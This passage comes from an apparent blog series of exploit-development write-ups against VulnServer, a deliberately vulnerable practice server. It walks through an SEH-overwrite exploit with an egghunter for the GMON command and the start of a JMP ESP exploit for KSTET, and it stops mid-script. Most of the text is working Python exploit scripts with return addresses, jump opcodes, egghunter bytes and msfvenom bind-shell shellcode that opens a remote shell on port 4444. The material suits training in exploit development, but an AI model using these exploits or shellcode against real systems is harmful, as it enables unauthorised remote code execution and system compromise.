s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()

Executing this code caused a crash to the application. As observed, EIP was not overwritten with A’s. So, what caused the crash?

By observing the SEH chain, it was seen that the SEH record were overwritten with A’s. So, this what caused the crash to the application.

To determine the offset that overwrote the SEH chain, I !mona pc 5000 to generate a unique string of 5000 bytes, and then modified the code.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()

Using !mona findmsp, it was discovered that the nSEH record was overwritten with an offset of 3495 bytes.

I then modified the exploit to the following.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

nseh = "BBBB"
seh = "CCCC"

buffer = "A"*3495
buffer += nseh
buffer += seh
buffer += "D"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()

As seen, the offset was correct. nSEH was overwritten with 4 B’s, while 4 C’s overwrote SEH.

As seen in this image, the buffer of D’s was located right after the B’s and C’s. This was a good place to store all the candidates for bad characters.

I executed the modified code to identify the bad characters. (Note: The NULL (\x00) character was already removed.)

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

nseh = "BBBB"
seh = "CCCC"

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = "A"*3495
buffer += nseh
buffer += seh
buffer += badchars
buffer += "D"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()

As seen, no other bad characters were identified except the NULL byte.

To identify an address containing the POP POP RET instructions, I used !mona seh. I used the first instruction from the result, which was 0x625010B4.

The following shows the updated code.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

nseh = "BBBB"
seh = "\xB4\x10\x50\x62"    # POP POP RET from essfunc.dll

buffer = "A"*3495
buffer += nseh
buffer += seh
buffer += "D"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()

The updated code worked and SEH was overwritten with the address of the POP POP RET instructions.

By passing the exception, by pressing SHIFT + F9, I was redirected to the address of the POP POP RET instructions.

Stepping into the POP POP RET instructions redirected me to the nSEH record, which contained the 4 bytes of B’s.

The next step would be to change this 4 B’s with a jump instruction that would redirect me to my shellcode. However, as seen above, I couldn’t use the buffer of D’s as it’s only 28 bytes long. Even for an egghunter, that wouldn’t be enough since it requires 32 bytes of space. Since the buffer of A’s was located right above the buffer of 4 B’s, I had to jump back. For this, I couldn’t make a “long jump” as the equivalent opcodes was 5 bytes long. That wouldn’t fit inside nSEH with only 4 bytes of space. Instead, I jumped back 50 bytes just like in my previous post. The following shows the code that I used.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

nseh = "\xEB\xCE\x90\x90"   # Jump back 50 bytes for egghunter
seh = "\xB4\x10\x50\x62"    # POP POP RET from essfunc.dll

buffer = "A"*3495
buffer += nseh
buffer += seh
buffer += "D"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()

As seen here, the negative jump worked. Next step would be to place the egghunter code in this location.

I used !mona egg -t CAPT to generate the egghunter.

Before using the egghunter, I had to determine first the offset (the number of A’s) before the egghunter code. To do that, I made a simple computation: original 3495 bytes of A’s + 2 bytes for the backward jump opcodes - 50 bytes for the length of backward jump = 3447 bytes of A’s. The following shows the updated code.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

nseh = "\xEB\xCE\x90\x90"   # Jump back 50 bytes for egghunter
seh = "\xB4\x10\x50\x62"    # POP POP RET from essfunc.dll

# Egg: CAPT
# Size: 32 bytes
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x43\x41\x50\x54\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

buffer = "A"*3447
buffer += egghunter
buffer += "A"*(3495-len(buffer))
buffer += nseh
buffer += seh
buffer += "D"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()

The redirection and calculation worked, and the current instruction pointed to the start of the egghunter.

Then I generated a shellcode using the MSFvenom.

Since the remaining buffer of A’s was still large, I decided to place the egg/tag and the shellcode right after the GMON command.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

nseh = "\xEB\xCE\x90\x90"   # Jump back 50 bytes for egghunter
seh = "\xB4\x10\x50\x62"    # POP POP RET from essfunc.dll

# Egg: CAPT
# Size: 32 bytes
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x43\x41\x50\x54\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

# msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f c
# Payload size: 355 bytes
shellcode = ("\xdb\xc8\xd9\x74\x24\xf4\xb8\x4f\x0d\xf8\xd8\x5d\x29\xc9\xb1"
"\x53\x31\x45\x17\x83\xc5\x04\x03\x0a\x1e\x1a\x2d\x68\xc8\x58"
"\xce\x90\x09\x3d\x46\x75\x38\x7d\x3c\xfe\x6b\x4d\x36\x52\x80"
"\x26\x1a\x46\x13\x4a\xb3\x69\x94\xe1\xe5\x44\x25\x59\xd5\xc7"
"\xa5\xa0\x0a\x27\x97\x6a\x5f\x26\xd0\x97\x92\x7a\x89\xdc\x01"
"\x6a\xbe\xa9\x99\x01\x8c\x3c\x9a\xf6\x45\x3e\x8b\xa9\xde\x19"
"\x0b\x48\x32\x12\x02\x52\x57\x1f\xdc\xe9\xa3\xeb\xdf\x3b\xfa"
"\x14\x73\x02\x32\xe7\x8d\x43\xf5\x18\xf8\xbd\x05\xa4\xfb\x7a"
"\x77\x72\x89\x98\xdf\xf1\x29\x44\xe1\xd6\xac\x0f\xed\x93\xbb"
"\x57\xf2\x22\x6f\xec\x0e\xae\x8e\x22\x87\xf4\xb4\xe6\xc3\xaf"
"\xd5\xbf\xa9\x1e\xe9\xdf\x11\xfe\x4f\x94\xbc\xeb\xfd\xf7\xa8"
"\xd8\xcf\x07\x29\x77\x47\x74\x1b\xd8\xf3\x12\x17\x91\xdd\xe5"
"\x58\x88\x9a\x79\xa7\x33\xdb\x50\x6c\x67\x8b\xca\x45\x08\x40"
"\x0a\x69\xdd\xfd\x02\xcc\x8e\xe3\xef\xae\x7e\xa4\x5f\x47\x95"
"\x2b\x80\x77\x96\xe1\xa9\x10\x6b\x0a\xc4\xbc\xe2\xec\x8c\x2c"
"\xa3\xa7\x38\x8f\x90\x7f\xdf\xf0\xf2\xd7\x77\xb8\x14\xef\x78"
"\x39\x33\x47\xee\xb2\x50\x53\x0f\xc5\x7c\xf3\x58\x52\x0a\x92"
"\x2b\xc2\x0b\xbf\xdb\x67\x99\x24\x1b\xe1\x82\xf2\x4c\xa6\x75"
"\x0b\x18\x5a\x2f\xa5\x3e\xa7\xa9\x8e\xfa\x7c\x0a\x10\x03\xf0"
"\x36\x36\x13\xcc\xb7\x72\x47\x80\xe1\x2c\x31\x66\x58\x9f\xeb"
"\x30\x37\x49\x7b\xc4\x7b\x4a\xfd\xc9\x51\x3c\xe1\x78\x0c\x79"
"\x1e\xb4\xd8\x8d\x67\xa8\x78\x71\xb2\x68\x98\x90\x16\x85\x31"
"\x0d\xf3\x24\x5c\xae\x2e\x6a\x59\x2d\xda\x13\x9e\x2d\xaf\x16"
"\xda\xe9\x5c\x6b\x73\x9c\x62\xd8\x74\xb5")

buffer = "CAPTCAPT"
buffer += shellcode
buffer += "A"*(3447-len(buffer))
buffer += egghunter
buffer += "A"*(3495-len(buffer))
buffer += nseh
buffer += seh
buffer += "D"*(5000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("GMON /.:/" + buffer)
print s.recv(1024)
s.close()

The following shows the execution flow.

Upon executing the final exploit code, the egghunter successfully located the egg/tag and my shellcode after the GMON command.

The shellcode worked and the target machine spawned a “listening” port on 4444/tcp.

The last thing to do was to connect to the newly opened port to have a shell access.

[VulnServer] Exploiting KSTET Command with Minimal Buffer Space Using Egghunter

Fri, 29 Jun 2018 00:00:00 +0000

I used the following skeleton for the exploitation of the KSTET command. Instead of sending 5000 bytes of buffer to fuzz the command, I only used 1000 bytes this time.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A”*1000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

The 1000 bytes of buffer were enough to crash the application. As seen, even if 1000 bytes of buffer were sent, only 94 bytes were accepted by the application. (Note: I kept the original buffer length of 1000 bytes for the rest of the exploitation so as not to deviate from my skeleton.)

Using !mona pc 1000, I generated 1000 bytes of unique string as buffer so I could determine the offset that overwrote EIP.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

Sending this unique string caused EIP to be overwritten with 63413363.

Using !mona findmsp, I discovered that the offset was 70 bytes.

To verify if it was correct, I sent the following modified code.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*70
buffer += "BBBB"
buffer += "C"*(1000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

As seen, the offset was correct and EIP was overwritten with 4 B’s. One thing to note here was that ESP pointed to the 20 bytes of C’s, which was located right after the 4 B’s.

Just like in my previous post, the limited buffer space made me split the characters from \x01 to \xFF to identify the bad character. Again, the NULL (\x00) character was already removed. The first split contained the characters from \x01 to \4F.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f")

buffer = badchars
buffer += "C"*(1000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

As seen here, there were no bad characters detected.

The next batch of characters that I tested were \x50 to \x9F.

Followed by \xA0 to \xCF.

The last batch were \xD0 to \xFF. After the repetitive process of identifying the bad characters, only \x00 was considered one.

Then I used !mona jmp -r esp -m ‘essfunc.dll’ to identify an address containing a JMP ESP instruction. Several addresses were discovered. However, for this exploitation, I used 0x625011AF.

I then modified the code to reflect the discovered address.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*70
buffer += "\xAF\x11\x50\x62"         # JMP ESP 625011AF from essfunc.dll
buffer += "C"*(1000-len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("KSTET " + buffer)
print s.recv(1024)
s.close()

As seen here, it worked and I was redirected to the buffer of C’s. Just like in my previous post, the buffer of A’s were located above the buffer of C’s. So, I had to jump backwards again.

Instead of jumping to the start of A’s, I decided to jump back only with 50 bytes. The opcode of short jump is \xEB, while -50 is equivalent to 0xFFFFFFCE.

So, the opcode of the instruction that I used to jump backwards 50 bytes was \xEB\xCE.

#!/usr/bin/python

import os
import sys
import socket

host = "192.168.1.129"
port = 9999

buffer = "A"*70
